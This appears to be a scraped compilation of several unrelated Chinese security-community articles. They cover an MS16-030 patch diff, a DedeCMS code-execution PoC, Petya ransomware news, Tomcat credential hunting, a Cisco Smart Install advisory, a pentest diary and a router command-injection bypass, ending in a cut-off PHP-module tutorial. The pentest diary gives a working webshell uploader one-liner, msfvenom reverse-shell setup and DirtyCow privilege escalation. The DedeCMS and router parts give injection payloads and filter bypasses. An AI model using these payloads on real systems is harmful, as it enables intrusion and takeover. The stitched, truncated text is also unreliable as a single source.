查看这个函数列表，我们选择仔细阅读OLEAUT32!_ResToIcon这个函数功能，不过我们也需要考虑到这个过程可能会涉及到其他函数的变动。那么首先我们这个函数可能是用来执行一些和图标相关的一些功能，来看一下关于这个函数补丁前后的逻辑流程图的对比。
通过对这张流程图前后对比中可以发现，关于ResToIcon函数在逻辑执行流程上有很多变化，但是我们需要考虑每一个代码块执行的变化是否是由于存在安全漏洞才改变的，让我们重点来分析每一个代码块。
当分析到上面的代码块的时候，我们发现这个很有可能是我们触发MS16-030漏洞的关键部分之一，我们可以看到这里有两个调用，一个是call
SizeTAdd，还有一个是call ULongLongToULong，在文档中我们可以查找一下这两个函数调用：
SizeTAdd — 这个函数是OLEAUT32.dll的一组内联函数，作用是进行算术运算并且检验结果的有效性，优势是对性能影响较小。
ULongLongToULong — 这个函数也是OLEAUT32.dll的一组内联函数，作用是进行类型转换并且检验结果的有效性，优势也是对性能影响较小。
这么看来这个位置有可能就是能触发MS16-030的关键位置，那么问题来了，如何能够让符号路径执行到这个分支？首先我们需要在OLEAUT32.dll中找到一个路径的入口点，这条路径可以执行到ResTICon这个函数。
对于符号路径的执行我们提供了一张流程图，正如所示，有几条路径都可以执行到ResTICon，通过一些试验，我们选择使用由vbscript.dll中调用的导入函数OLEAUT32!_OleLoadPicture（图中黄圈所示），通过这个函数再执行到ResTICon函数位置。
那么首先我们就需要分析一下vbscript.dll中的导入函数的执行路径，通过IDA
pro打开vbscript，通过流程图我们可以看到导入函数OLEAUT32!_OleLoadPicture的执行过程，流程非常简单。
可以看到，在vbscript.dll中经过几次调用，会执行到_imp_OleLoadPicture位置，这个imp实际就是在vbscript.dll中执行到该位置时会调用OLEAUT32.dll中的OleLoadPicture函数，这样就和之前我们分析的几种分支中我们选用的部分重合了。
这样看来，我们只要调用vbscript!VbsLoadPicture就有可能执行到我们需要的分支流程中，可以通过vbscript
LoadPicture的API调用到这个vbscript函数，从而执行到OleLoadPicture函数分支。
**
**
**PoC构造**
我们尝试使用这种方法，首先在vbscript.dll中调用导入函数OleLoadPicture的位置下了断点，然后创建了一个图标，这个图标加载时会调用LoadPicture的这个API，也就是会调用VbsLoadPicture函数，打开这个图标，但是却没有命中断点。我们只能来检查一下这个过程为什么没有命中断点。
通过分析，我们发现在调用VbsLoadPicture之后，执行过程中会先调用一个call
__imp__StgIsStorageFile，这个函数也是OLEAUT32.dll中的函数，正是ole32!StgIsStorageFile导致的无法执行到OleLoadPicture，那么这个函数的是什么呢？
通过查看MSDN，我们只找到关于StgIsStorageFile函数很少的信息，这个函数主要用来表明特定磁盘中是否包含存储对象。
通过Google检索我们需要从VbsLoadPicture到OleLoadPicture的这个执行流程，其实这个过程是一个类似于COM结构化存储的执行过程，通过MSDN可以找到一些关于这个过程的信息。
“结构化存储就是将单个文件以数据和流的形式作为一种结构化集合来处理，从而在COM中保持数据和文件的持久性”。
这样看来，我们需要创建一个结构化的存储对象然后插入一个图片，来使函数执行到OleLoadPicture函数调用位置。那么这样的一个文件我们应该如何创建呢？
进一步通过Google搜索，我们找到了一款叫做OpenMCDF的工具，下载地址是：
<http://openmcdf.sourceforge.net>。这样我们要做的就是在存储化结构的根节点位置创建一个包含图片的流（译者话：这个存储化结构的概念在很多地方都有用到，比如Office文档，pdf文件等等），然后通过vbscript再次打开这个文件调用LoadPicture函数。我们使用OpenMCDF工具中一个结构化存储的界面。
通过这个界面创建文件之后，我们再次在vbscript.dll中的OleLoadPicture下断点，但是还是没有命中，这是什么原因呢？
经过分析，我们发现，在调用OleLoadPicture之前，还会经过另一处检查。
实际上我们执行的过程执行了粉色块的部分，而OleLoadPicture调用则在右边，可以看到在之前会调用ole32!CExposeDocFile::OpenStream，这个过程会有一个对流名称“CONTENTS”的检查，如果正确则会进入右边分支（我们想要的）处理，因此，我们需要在OpenMCDF中修改流的名称，改为CONTENTS。
这样修改之后，我们的文件打开之后，就能成功命中OleLoadPicture断点了。接下来我们通过Windbg附加这个任务来跟踪，同时在OLEAUT32.dll中的ResTIcon函数下断点，来确定OleLoadPicture之后是否能够命中我们分析到的漏洞触发的关键函数。
可以看到，我们确实命中了断点，到这里为止，我们就很接近之前分析到的发生改变的代码分支了，但是，实际上我们利用OpenMCDF生成的文件是一个正常的文件，也就是说其中包含的图标的这个流也是正常的，那么接下来，我们使用dumb
fuzzer（译者注：dumb
fuzz是一种fuzz技术，不管文件格式问题，完全采用生成全随机化的数据来进行fuzz）的方法来生成畸形文件，通过一个vbscript的脚本来执行文件，再通过eEye公司的一款产品来自动化调试。当然，我们也要通过Windbg中个gflags开启页堆监视（译者注：通过Windbg下的gflags.exe
/I [process] +ust +hpa开启页堆监视）。
我们写了一个简单的dumb fuzzer的脚本。
接下来运行这个fuzz脚本，并且通过eEye公司的工具跟踪，大概在619次测试过后会eEye的工具会捕获到一次崩溃，利用Windbg加载这个崩溃文件。
到此，我们通过补丁复现了这个Windows OLE的漏洞，并且在打上补丁之后我们发现再用这个PoC无法触发漏洞了。
分析补丁、补丁对比是一个非常有趣的过程，但实际上使用bindiff（译者注：一款非常好用的补丁对比工具）这样的补丁对比工具可以大大加快我们的分析进度，而且有助于我们全面了解补丁前后动态链接库的变化情况，以便分析出触发漏洞的执行路径。同样，将文件类型转换成结构化存储去测试也有可能成为未来漏洞挖掘一个很有意思的方向。 | 社区文章 |
该漏洞的触发点为/dede/tag_test_action.php。起因是csrf_check()的绕过，导致可执行任意代码。
查看/dede/tag_test_action.php文件的源码：
如果直接访问这个文件，会进入csrf_check()函数。提示token错误，且退出执行。
跟进csrf_check()，该函数所在文件为dede/config.php:
这里的判断只是判断token值是否和session中的token相等，还有就是判断token是否存在。就这么来看，貌似比较矛盾。Session[‘token’]的值我们不知道，我们没法伪造token。有趣的是，当我们登录之后，并不会生成session[‘token’]，也就是说，这时的session[‘token’]为null。
这样的话，我们只需要构造<http://localhost/a.php?token=>
这样就可绕过csrf_check()
绕过之后，便可为$partcode构造payload。
首先是对数据进行初始化。跟进$pv->SetTemplet()，跟踪变量的流向：
继续跟进DedeTagParse类的LoadSource方法：
在这个方法中，我们传入的payload被写入inc文件中，继续跟踪LoadTemplate：
这里先是判断文件是否存在，很显然是存在的。随后将文件读入$this->SourceString字符串中。
继续跟踪LoadCache方法：
在这里，将数据读入缓存中。至此，数据初始化完成。
触发代码执行的点在PartView类的Display方法，源码如下：
在display()方法中再次调用DedeTagParse类中的display()方法：
跟进GetResult():
跟进AssignSysTag()方法：
最后跟进Runphp方法：
在这里，只是简单的将数据从对象中提取出来，做一些简单的字符串替换，便可成功执行代码。
综上，我们传入的$partcode变量应该符合dedecms模板格式，且带有runphp=’yes’标签。
基于此，我们可构造以下payload：
partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}
加上绕过csrf_check()的payload，得到最后的poc:
[http://localhost/后台地址/tag_test_action.php?url=a&token=&partcode={dede:field](http://localhost/后台地址/tag_test_action.php?url=a&token=&partcode={dede:field)
name='source' runphp='yes'}phpinfo();{/dede:field}
利用条件：登录后台
解决方案：重新实现csrf_check()函数 | 社区文章 |
# Petya恶意勒索软件覆写你的MBR和MFT并且加密你的磁盘
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.bleepingcomputer.com/news/security/petya-ransomware-skips-the-files-and-encrypts-your-hard-drive-instead/>
译文仅供参考，具体内容表达以及含义原文为准。
通常情况下,当一个用户的电脑被加密勒索软件感染,感染目标也就是受害者电脑中的文件都会被加密,但并不会影响电脑操作系统的正常使用,用户只是无法打开这些文件而已。而现在发现有一个名叫Petya的恶意勒索软件,它会对整个硬盘进行加密,你无法访问驱动器上的任何东西,包括操作系统。在写这篇文章的时候,该勒索软件通常是要求9个比特币才会对驱动器进行解锁。
该勒索软件目前主要是通过电子邮件,针对德国企业的人力资源部门进行发送。这些邮件中会包含Dropbox的链接到一个应用程序,而当用户下载该文件执行后,他们的电脑就会感染Petya勒索软件。举例来说,其中部分受害者下载的是名为Bewerbungsmappe-gepackt.exe的文件安装程序。
值得注意的是,你的电脑被Petya感染后,你能够在网上找到很多如何进行修复的信息。大部分网站提供的方法是通过FIXMBR去修复MBR来清除感染。虽然这种方法能够删除锁屏,但它无法解密你的MFT,因此你仍然无法访问你硬盘上的操作系统和其中的文件。如果你不关心任何数据丢失的话,只需要在修复MBR后重装操作系统就可以了。
其实早在一月份就有一段短暂的勒索攻击事件使用了相同的手法,但当时并没有引起人们注意。现在已经很难找到当时的样本了,但应该是类似于下图这样的情况:
Petya的加密过程
在第一次安装时,Petya会使用一个恶意程序替换驱动器上的主引导记录(Master Boot
Record,即MBR),MBR是一个硬盘驱动器上最开头的一段信息,用于告诉计算机如何引导操作系统。然后它会使电脑重启从而加载替换的恶意软件,这时候屏幕上会显示类似于CHKDSK的界面。在这个伪造的CHKDSK阶段中,Petya会对驱动器上的主文件表(Master
File Table,即MFT)进行加密。一旦MFT被损坏或者被加密,在这种情况下,计算机将不知道文件的位置,或者虽然知道文件位置但是不能访问。
一旦假的CHKDSK阶段完成,你将得到一个锁屏显示,上年会显示Tor网站链接以及一个唯一的区分ID,你需要前往网站支付赎金。当你完成支付后,你会得到一个解锁密码,然后回到这个锁屏界面使用得到的密码进行解锁。
在解密网站获取Petya解锁密码的步骤
当受害者访问解锁网站,他会看到类似于下面的界面。在网站首页受害者输入验证码后会看到一些信息,告诉受害者他们的电脑发生了什么。
如果用户点击“开始解密过程(Start the decryption
process)”,他们会一步一步的根据网站引导进行付款并最终获得解锁密码。这些步骤如下所示:
第一步,输入你的设备识别ID
第二步,兑换比特币
第三步,进行比特币交易
第四步,等待确认
第五步也就是最后一步,应该就是攻击者收到赎金后提供给受害者用于解锁的密码。当受害者使用密码解锁后,会恢复磁盘驱动器中的MFT以及原本的MBR。之后就可以再次开机进入操作系统中并且可以再次正常访问其中的文件。
目前还没有除了支付赎金之外的方法解决这种加密勒索。研究人员正在对其进行分析,也许未来会发现好的解决方案。 | 社区文章 |
### 0x00 JavaEE 基础
* * *
JSP: 全名为java server
page，其根本是一个简化的[Servlet](http://baike.baidu.com/view/25169.htm)。
Servlet：Servlet是一种服务器端的Java应用程序，可以生成动态的Web页面。
JavaEE: JavaEE是J2EE新的名称。改名目的是让大家清楚J2EE只是Java企业应用。
什么叫Jsp什么叫Java我真的非常让大家搞清楚！拜托别一上来就来一句：“前几天我搞了一个jsp的服务器，可难吭了。”。
请大家分清楚什么是jsp什么是JavaEE! Java平台结构图：
可以看到Java平台非常的庞大，而开发者的分化为：
列举这两个图的原因就是让你知道你看到的JSP不过是冰山一角，Jsp技术不过是Java初级开发人员必备的技术而已。
我今天要讲的就是Java树的最下面的两层了，也是初级工程师需要掌握的东西。
Web请求与相应简要的流程：
这是一个典型的就是客户端发送一个HTTP请求到服务器端，服务器端接收到请求并处理、响应的一个过程。
如果请求的是JSP，tomcat会把我们的JSP编译成Servlet也就是一个普通的Java类。
其实JSP是Servlet的一种特殊形式，每个JSP页面就是一个Servlet实例。Servlet又是一个普通的Java类它编译后就是一个普通的class文件。
这是一个普通的jsp脚本页面，因为我只用JSP来作为展示层仅仅做了简单的后端数据的页面展示：
上图可以非常清晰的看到通常的Jsp在项目中的地位并不如我们大多数人所想的那么重要，甚至是可有可无！因为我们完全可以用其他的东西来代替JSP作为前端展示层。
我们来看一下这个页面编译成class后是什么样子：
你会发现你根本就看不懂这个class文件，因为这是字节码文件我们根本就没法看。通过我们的TOMCAT编译后他编程了一个Java类文件保存在Tomcat的work目录下。
文件目录：`C:\apache-tomcat-7.0.34\work\Catalina\localhost\你的项目名\org\apache\jsp`
我们只要打开index_jsp.java或者用jd-gui（Java反编译工具）打开就行了：
有人说这是Servlet吗？当然了。
继承HttpJspBase类，该类其实是个HttpServlet的子类(jasper是tomcat的jsp engine)。
Jsp有着比Servlet更加优越的展现，很多初学PHP的人恐怕很难把视图和逻辑分开吧。比如之前在写PHPSQL注入测试的DEMO：
这代码看起来似乎没有什么大的问题，也能正确的跑起来啊会有什么问题呢？原因很简单这属于典型的展现和业务逻辑没有分开！这和写得烂的Servlet差不多！
说了这么多，很多人会觉得Servlet很抽象。我们还是连创建一个Servlet吧：
创建成功后会自动的往web.xml里面写入：
其实就是一个映射的URL和一个处理映射的类的路径。而我们自动生成的Java类精简后大致是这个样子：
请求响应输出内容：
熟悉PHP的大神们这里就不做解释了哦。了解了Jsp、Servlet我们再来非常简单的看一下JavaWeb应用是怎样跑起来的。
加载web.xml的配置然后从配置里面获取各种信息为WEB应用启动准备。
#### 科普：`C:\apache-tomcat-7.0.34\webapps`下默认是部署的Web项目。webapps
下的文件夹就是你的项目名了，而项目下的WebRoot一般就是网站的根目录了，WebRoot下的文件夹WEB-INF默认是不让Web访问的，一般存在配置泄漏多半是nginx配置没有过滤掉这个目录。
快速定位数据库连接信息：
大家可能都非常关心数据库连接一般都配置在什么地方呢？
答案普遍是：`C:\apache-tomcat-7.0.34\webapps\wordpress\WEB-INF`下的`***.xml`
大多数的Spring框架都是配置在applicationContext里面的：
如果用到Hibernate框架那么：`WebRoot\WEB-INF\classes\hibernate.cfg.xml`
还有一种变态的配置方式就是直接卸载源代码里面:
Tomcat的数据源（其他的服务器大同小异）：
目录：`C:\apache-tomcat-7.0.34\conf\context.xml、server.xml`
Resin数据源：
路径：`D:\installDev\resin-pro-4.0.28conf\resin.conf(resin 3.x是resin.xml)`
其他的配置方式诸如读取如JEECMS读取的就是 **.properties** 配置文件，这种方式非常的常见：
### 0x01 Tomcat 基础
* * *
没错,这就是 TOM 猫。楼主跟这只猫打交道已经有好几年了,在 Java 应用当中 TOMCAT 运用的非常的广泛。
TOM 猫是一个 Web 应用服务器,也是 Servlet 容器。
Apache+Tomcat 做负载均衡:
#### Tomcat快速定位到网站目录：
如何快速的找到tomcat的安装路径:
1、不管是谁都应该明白的是不管apache还是tomcat安装的路径都是随意的，所以找不到路径也是非常正常的。
2、在你的/etc/httpd/conf/httpd.conf里面会有一个LoadModule jk_module配置用于集成tomcat然后找到JkWorkersFile也就是tomcat的配置，找到.properties的路径。httpd里面也有可能会配置路径如果没有找到那就去apache2\conf\extra\httpd-vhosts看下有没有配置域名绑定。
3、在第二步的时候找到了properties配置文件并读取，找到workers.tomcat_home也就是tomcat的配置路径了。
4、得到tomcat的路径你还没有成功，域名的具体配置是在conf下的server.xml。
5、读取server.xml不出意外你就可以找到网站的目录了。
6、如果第五步没有找到那么去webapps目录下ROOT瞧瞧默认不配置的话网站是部署在ROOT下的。
7、这一点是附加的科普知识爱听则听：数据库如果启用的tomcat有可能会采用tomcat的数据源配置未见为conf下的context.xml、server.xml。如果网站有域名绑定那么你可以试下ping域名然后带上端口访问。有可能会出现tomcat的登录界面。tomcat默认是没有配置用户登录的，所以当tomcat-users.xml下没有相关的用户配置就别在这里浪费时间了。
8、如果配置未找到那么到网站目录下的WEB-INF目录和其下的classes目录下找下对应的properties、xml（一般都是properties）。
9、如果你够蛋疼可以读取WEB.XML下的classess内的源码。
10、祝你好运。
#### apache快速定位到网站目录：
普通的域名绑定：
直接添加到`confhttpd.conf、confextrahttpd-vhosts.conf`
#### Resin快速定位到网站目录:
在resin的conf下的resin.conf(resin3.x)和resin.xml(resin4.x)
Resin apache 负载均衡配置(从我以前的文章中节选的)
APACHE RESIN 做负载均衡,Resin 用来做 JAVAWEB 的支持,APACHE 用于处理静态
和 PHP 请求,RESIN 的速度飞快,RESIN 和 apache 的配合应该是非常完美的吧。
域名解析:
apache 的 httpd.conf:
需要修改:Include conf/extra/httpd-vhosts.conf(一定要把前面的#除掉,否则配置不起作用)
普通的域名绑定:
直接添加到 httpd.conf
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot E:/XXXX/XXX
ServerName beijingcanyinwang.com
ErrorLog E:/XXXX/XXX/bssn-error_log
CustomLog E:/XXXX/XXX/bssn_log common
</VirtualHost>
二级域名绑定,需要修改:
E:\install\apache2\conf\extra\httpd-vhosts.conf
如:
<VirtualHost *:80>
DocumentRoot E:/XXXXXXX/XXX
ServerName bbs.beijingcanyinwang.com
DirectoryIndex index.html index.php index.htm
</VirtualHost>
Resin 的
请求处理:
<LocationMatch (.*?).jsp>
SetHandler caucho-request
</LocationMatch>
<LocationMatch (.*?).action>
SetHandler caucho-request
</LocationMatch>
<LocationMatch union-resin-stat-davic>
SetHandler caucho-request
</LocationMatch>
<LocationMatch stat>
SetHandler caucho-request
</LocationMatch>
<LocationMatch load>
SetHandler caucho-request
</LocationMatch>
<LocationMatch vote>
SetHandler caucho-request
</LocationMatch>
APACHE 添加对 Resin 的支持:
LoadModule caucho_module "E:/install/resin-pro-3.1.12/win32/apache-2.2/mod_caucho. dll"
然后在末尾加上:
<IfModule mod_caucho.c>
ResinConfigServer localhost 6800
CauchoStatus yes
</IfModule>
只有就能让 apache 找到 resin 了。
PHP 支持问题:
resin 默认是支持 PHP 的测试 4.0.29 的时候就算你把 PHP 解析的 servlet 配置删了一样解析 PHP,无奈换成了 resin
3.1 在注释掉 PHP 的 servlet 配置就无压力了。
整合成功后: | 社区文章 |
# 漏洞预警|CVE-2018-0171:Cisco Smart Install远程命令执行
##### 译文声明
本文是翻译文章，文章原作者 360Cert，文章来源：https://cert.360.cn
原文地址：<https://cert.360.cn/warning/detail?id=f7d09fffded750e131cda824ef356514>
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-032902
报告来源： 360-CERT
报告作者： 360-CERT，360-NetOPS
更新日期： 2018-03-30
## 漏洞描述
思科 IOS 和 IOS-XE 系统 Smart Install Client
代码中存在一处缓冲区栈溢出漏洞（CVE-2018-0171）。攻击者可以远程向 TCP 4786
端口发送一个恶意数据包，利用该漏洞，触发目标设备的栈溢出漏洞造成设备拒绝服务（DoS）或在造成远程命令执行，攻击者可以远程控制受到漏洞影响的网络设备。
据悉，思科交换器 TCP 4786 端口是默认开放的，目前相关PoC已经被发布（完整性有待证实），360-CERT建议相关用户尽快进行评估升级。
## 漏洞影响面
**影响危害级别：严重**
**影响设备主要涉及：**
Catalyst 4500 Supervisor Engines
Cisco Catalyst 3850 Series Switches
Cisco Catalyst 2960 Series Switches
**部分包含Smart Install Client的设备也可能受到影响：**
Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs
## 修复检测建议
**检测是否存在漏洞**
确认目标设备是否开启4786/TCP端口，如果存在可能收到影响，比如用nmap扫描目标设备端口：
nmap -p T:4786 192.168.1.0/24
此外，可以通过以下命令确认是否开启 Smart Install Client 功能：
switch>show vstack config
Role: Client (SmartInstall enabled)
Vstack Director IP address: 0.0.0.0
switch>show tcp brief all
TCB Local Address Foreign Address (state)
0344B794 *.4786 *.* LISTEN
0350A018 *.443 *.* LISTEN
03293634 *.443 *.* LISTEN
03292D9C *.80 *.* LISTEN
03292504 *.80 *.* LISTEN
如果您不确定您的漏洞是否受到影响，可以使用Cisco的Cisco IOS Software Checker进行检测：
https://tools.cisco.com/security/center/softwarechecker.x
## 时间线
**2018-03-29 Cisco和EMBEDI发布漏洞信息**
**2018-03-30 360-CERT和360-NetOPS发布漏洞预警**
## 参考链接
> [Cisco Smart Install Remote Code Execution](https://embedi.com/blog/cisco-> smart-install-remote-code-execution/)
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2 | 社区文章 |
**一.前言**
在一次综合渗透的过程中遇到的比较完整的一个渗透流程。很多现查的技巧，这次渗透的基础是基于队友已经在服务器写入了一句话木马但无法执行系统命令。
**二.渗透过程**
一开始，我想到的是传个大马上去，为了方便，先写入了一个上传马：
?a=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));
利用这个上传马（shell.php）上传了一个比较常用的大马（297.php）。发现无法执行系统命令（无回显）：
查看phpinfo（）发现应该是disable_function()的原因。随即使用github上大佬LD_PRELOAD的bypass马：
https://github.com/zhinaonet/bypass_disablefunc_via_LD_PRELOAD
成功执行命令：
可以执行命令后便想着提权，直接上虚拟机里的kali先用ngrok把虚拟机里的内网穿透出去：
启动msf：
msfconsole
msfvenom -l payloads
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=ip LPORT=10017 -f elf > shell.elf
生成反弹shell：
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.1.170
set LPORT 4444
run
开启监听，同时把生成的elf文件用上传马上传到服务器，用bypass马chmod赋予权限后执行。
即可反弹成功：
拿到反弹shell后就想着提权，一看内核版本是在脏牛的覆盖范围，就尝试脏牛一把梭。
先去github上下载脏牛的exp源码：
https://github.com/FireFart/dirtycow
上传上去之后执行命令：
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
执行成功！
但在su切换用户的时候出现了幺蛾子：
Standard in must be a tty这种情况我还是头一次遇见。通过查询，发现可以用python绕过它：
python -c 'import pty; pty.spawn("/bin/sh")'
su firefart
输入密码，即可提权成功：
于此已经拿到了root权限。后渗透阶段由于本人不太熟悉就暂且不提了。
**三.总结**
这次渗透没有什么特别难的难点，主要是队友把一句话传上去打了个好的基础。作为脚本小子的我也不过是用网上大佬们的工具完成了此次渗透。学艺不精还需要继续和菊苣们学习。 | 社区文章 |
### 0x01 前言
这款网关的HTTP系统使用的是BOA服务文件，在此基础上进行的二次开发。在这款网关里面存在几个RCE漏洞点和未授权访问点,在厂商修复漏洞过程中发生了一些有趣的事，所以拿出来分享下。按照惯例和当前国情，为了不必要的麻烦，已隐去相关敏感信息，看官权当普通漏洞分析思路文章来看就好。
### 0x02 漏洞分析
首先来看REC漏洞，由于设备没有做游客访问控制，所以可以直接结合未授权访问进行远程直接利用，未授权访问没有什么分析价值，我们放到后文。
打开HTTP主程序boa,在我们调用请求web_ping_exe_cgi文件时，会来到这个地方,进入loc_BCAD8函数
loc_BCAD8函数是获取我们提交过来的数据包，用boaGetVar()函数接收处理数据并保存
然后接下来取出了静态变量数据“/usr/bin/diag ping ”，把数据参数传入diag文件里面的ping函数
在进行了一些操作后调用了execv()函数来执行/bin/sh，这里就是RCE漏洞触发点。
目前整个流程就很清晰了,一路走来，我们没有看到任何的参数处理函数来对我们传入的数据进行清洗，所以我们传入的攻击字符串会被拼接传入diag文件。最终执行格式为
/bin/sh -c “/usr/bin/diag ping” +data
在成功执行后会利用boaWrite()函数输出字符串“SUCCESS”。
好了，我们来看下diag文件里面的处理过程。
在diag文件里面，首先会判断我们选择的是哪个命令，这里我们选择的是“ping”命令，所以会直接调用ping()函数，我们跟进看下
.......
case "$diag_command"
in "ping" ) Ping $diag_dst $diag_wan $diag_ipversion $ping_repeat;;
"traceroute" ) Traceroute $diag_dst $diag_wan $diag_ipversion ;;
"tracerouteu" ) Tracerouteu $diag_dst $diag_wan $diag_ipversion ;;
*) show_usage ;;
......
很明显了，在这个文件里面也没有对我们传入的参数进行过滤处理，直接就带入了执行，执行结果保存在了"/tmp/diag-result”文件里面。
因为这个bash脚本里面用的变量拼接，所以我们直接用多语句分割就行了
RESULT_FILE="/tmp/diag-result"
Ping()
{
local destination="${1}" traceroutewan="$2
local ipversion="${3}"
local repeatnum="${4}"
if [ "$ipversion" = "ipv4" ]; then
[ -n "$traceroutewan" ] && {
ping -c ${repeatnum} ${destination} -I ${traceroutewan} > ${RESULT_FILE} 2>&
}
else
[ -n "$traceroutewan" ] && {
ping6 -c ${repeatnum} ${destination} -I ${traceroutewan} > ${RESULT_FILE} 2>&1
}
fi}
本地监听执行结果
### 0x03 二次复核
在厂家修复漏洞后，复查了一下漏洞的修复结果。
咋看下相关漏洞被修复了，未授权访问不存在，但是在认真看了修复代码后发现，修复结果可以被绕过。
**未授权修复不当**
在最新的版本中，修复了上一版本的未授权问题，其中存在未授权访问的页面已经无法访问，但是厂家在此基础上修复不当，无意之间引入了一个后门，我们来了解一下。
其中禁止访问的一部分敏感页面如下，添加了访问判断规则
但是，在往下分析时发现，发现厂商为这些页面添加了一个账号密码（这种修复方法闻所未闻，活久见），要访问这些页面需要这个账号密码，游客和管理员访问这些限制页面都会先判断帐号密码，不过访问的帐号密码却被硬编码到固件中，在这种情况下造成了很明显的后门帐号，如图
所以，我们只需要在访问页面时加上帐号密码参数就行了
**RCE漏洞修复不当**
在RCE漏洞接收参数这个地方，添加了一个strtok_r()函数来处理分隔符“;”问题
但是可以执行多行命令的分隔符却不止这一个，所以还是存在绕过的可能,我们只需要将“;”号换成“||”或“&&”或者其他的可执行的分割语法就行了，这里换成"||"进行尝试，最后成功执行。
### 0x04 三次复核
**未授权修复不当**
在厂家进一步修复后，之前的明文后门帐号变成了编码后门，md5加base64的混合加密。
后门还是存在，只不过加密了而已，只要解开了hash值,那么就可以利用明文密码访问敏感页面了
**RCE漏洞修复不当**
还是之前的那个RCE漏洞，厂家这次不在HTTP主程序中进行数据判断，转向Web源码函数判断。现在在网页源码中添加了一个回调函数来判断命令分隔符，这个已经很不错了，提高了利用难度，不过现实是还是可以绕过.......
我们来看下这个回调函数
在源代码中有两个函数，inValidIPAddr()和isValidUrlName(),这两个函数是过滤IP和域名的，IP我们无法绕过，正则写的很死，但是对于域名过滤，我们却是可以绕过的，由于判断是先判断是否为IP地址再判断是否为域名，那么这两个回调函数结合起来等于没起作用。源码太长，这里取主要函数。下面我们来看下过滤源码
function inValidIPAddr(Address)
{
var address = Address.match("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$");
var digits;
var i;
if(address == null) {
return false;
}
digits = address[0].split(".");
for(i=0; i < 4; i++)
{
if((Number(digits[i]) > 255 ) || (Number(digits[i]) < 0 ) || (Number(digits[0]) > 223) || (digits[i] == null))
{
return false;
}
}
return true;
}
function isValidUrlName(url)
{
var i=0;
var invalidArray = new Array();
invalidArray[i++] = "www";
invalidArray[i++] = "com";
invalidArray[i++] = "org";
invalidArray[i++] = "net";
invalidArray[i++] = "edu";
invalidArray[i++] = "www.";
invalidArray[i++] = ".com";
invalidArray[i++] = ".org";
invalidArray[i++] = ".net";
invalidArray[i++] = ".edu";
if (isValidAscii(url) != ''")
{
return false;
}
for (i = 0; i < url.length; i++)
{
if (url.charAt(i) == '\\')
{
return false;
}
if (url.charAt(i) == '&')
{
return false;
}
if (url.charAt(i) == '|')
{
return false;
}
if (url.charAt(i) == ';')
{
return false;
}
}
if (url == "")
{
return false;
}
if (url.length < 3)
{
return false;
}
for(j=0; j< invalidArray.length; j++)
{
if (url == invalidArray[j])
{
return false;
}
}
return true;
}
这次比之前都要厉害一些，这次过滤了 “&”，“|”，"；“这三个很常见的命令分割符。不过在linux系统中，执行命令的分割符有多种情况除了
“&”，“|”，"；“这三种外，还有“`"、"$()"等，所以结果是，修复结果又绕过了。如图
### 0x05 最后
经过几次的修复和绕过，我们可以发现，如果一个系统没有考虑到对输入、输出、数据流进行严格检查控制的话，都有可能造成一定的安全风险。厂商由于安全开发知识缺乏，导致修复结果令人哭笑不得。最后，由于攻击的难度已加大，安全性也有所提高，厂商尽力了，那么作者也尽力了。 | 社区文章 |
# AntCTF ^ D3CTF 2021 hackphp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
从一题学习php模块的编写，学习WEB PWN，并演示WEB PWN中的堆UAF利用基本手法。
## 0x01 PHP模块的编写
php模块一般使用C/C++编写，编译后以库文件的形式进行加载，在Linux下为.so，Windows下为.dll。下面，我们来编写一个php模块的helloword，并在php里进行调用。
首先下载php源码，进入php源码目录的ext目录,执行
root@ubuntu:/home/sea/Desktop/php-src/ext# ./ext_skel.php --ext helloword
Copying config scripts... done
Copying sources... done
Copying tests... done
Success. The extension is now ready to be compiled. To do so, use the
following steps:
cd /path/to/php-src/helloword
phpize
./configure
make
Don't forget to run tests once the compilation is done:
make test
Thank you for using PHP!
### 模块基本语法
该程序直接为我们生成了一个模板，我们可以直接查看源码
/* helloword extension for PHP */
